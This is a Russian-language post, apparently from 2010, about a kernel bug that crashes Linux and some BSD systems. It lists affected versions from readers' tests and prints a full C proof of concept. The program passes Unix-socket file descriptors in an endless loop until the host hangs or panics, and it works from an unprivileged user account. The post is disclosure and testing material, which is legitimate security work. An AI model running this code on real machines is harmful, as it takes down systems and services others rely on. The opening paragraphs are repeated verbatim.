Опубликован код, приводящий к зависанию компьютера (100% загрузка всех ядер, исчерпание файловых дескрипторов).
Ссылка на код: lkml.org/lkml/2010/11/25/8
Проверял на 27, 32 — зависание воспроизводится. 32/64 бита.
Уточняю: через 1-2 секунды пролетает крашдамп (не успеваю прочитать), хост перегружается. В другом тесте система упала уже после завершения программы (примерно через 5-7 секунд).
PS Эксперты с лора говорят, что FreeBSD 8.1 тоже падает.
PPS Внезапно — на CentOS 5.5 с 2.6.18 не падает. Если запустить из-под рута, роняет, из-под пользователя — просто спокойно отрабатывает. При этом руту в соседней консоли ничего не мешает работать и система не падает.
Пытаюсь уточнить ситуацию:
1) CentOS 2.6.18/64 с непривелегированным пользователем не подвержен.
2) Debian Squeeze 2.6.34/64 с непривелегированным пользователем подвержен (kernel panic).
3) По слухам, в некоторых FreeBSD удалось воспроизвести (из комментариев — FreeBSD 8.2-PRERELEASE не воспроизводится)
4) Из комментариев — на Ubuntu 2.6.32/64 воспроизвести не удалось, на 2.6.36 воспроизводится.
5) Ubuntu 2.6.34/64 — воспроизводится
6) Из комментариев — RHEL5.5 не зависает, но тормозит и мешает убивать процесс.
7) Из комментариев: FreeBSD 4.11, 8.1, OpebBSD 4.6, 4.8, DragonFLY BSD 2.8.0 — подвержены
8) OpenVZ + 2.6.18 Debian/Centos — не воспроизводится.
PPPS тем, кто тестит — запускать надо от непривелегированного пользователя.
Текст теста:
Ссылка на код: lkml.org/lkml/2010/11/25/8
Проверял на 27, 32 — зависание воспроизводится. 32/64 бита.
Уточняю: через 1-2 секунды пролетает крашдамп (не успеваю прочитать), хост перегружается. В другом тесте система упала уже после завершения программы (примерно через 5-7 секунд).
PS Эксперты с лора говорят, что FreeBSD 8.1 тоже падает.
PPS Внезапно — на CentOS 5.5 с 2.6.18 не падает. Если запустить из-под рута, роняет, из-под пользователя — просто спокойно отрабатывает. При этом руту в соседней консоли ничего не мешает работать и система не падает.
Пытаюсь уточнить ситуацию:
1) CentOS 2.6.18/64 с непривелегированным пользователем не подвержен.
2) Debian Squeeze 2.6.34/64 с непривелегированным пользователем подвержен (kernel panic).
3) По слухам, в некоторых FreeBSD удалось воспроизвести (из комментариев — FreeBSD 8.2-PRERELEASE не воспроизводится)
4) Из комментариев — на Ubuntu 2.6.32/64 воспроизвести не удалось, на 2.6.36 воспроизводится.
5) Ubuntu 2.6.34/64 — воспроизводится
6) Из комментариев — RHEL5.5 не зависает, но тормозит и мешает убивать процесс.
7) Из комментариев: FreeBSD 4.11, 8.1, OpebBSD 4.6, 4.8, DragonFLY BSD 2.8.0 — подвержены
8) OpenVZ + 2.6.18 Debian/Centos — не воспроизводится.
PPPS тем, кто тестит — запускать надо от непривелегированного пользователя.
Текст теста:
#include <sys/socket.h>
#include <sys/un.h>
static int send_fd (int unix_fd, int fd)
{
struct msghdr msgh;
struct cmsghdr *cmsg;
char buf[CMSG_SPACE (sizeof (fd))];
memset (&msgh, 0, sizeof (msgh));
memset (buf, 0, sizeof (buf));
msgh.msg_control = buf;
msgh.msg_controllen = sizeof (buf);
cmsg = CMSG_FIRSTHDR (&msgh);
cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
msgh.msg_controllen = cmsg->cmsg_len;
memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
return sendmsg (unix_fd, &msgh, 0);
}
int main ()
{
int fd[2], ff[2];
int target;
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
return 1;
for (;;)
{
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
return 2;
send_fd (ff[0], fd[0]);
send_fd (ff[0], fd[1]);
close (fd[1]);
close (fd[0]);
fd[0] = ff[0];
fd[1] = ff[1];
}
}
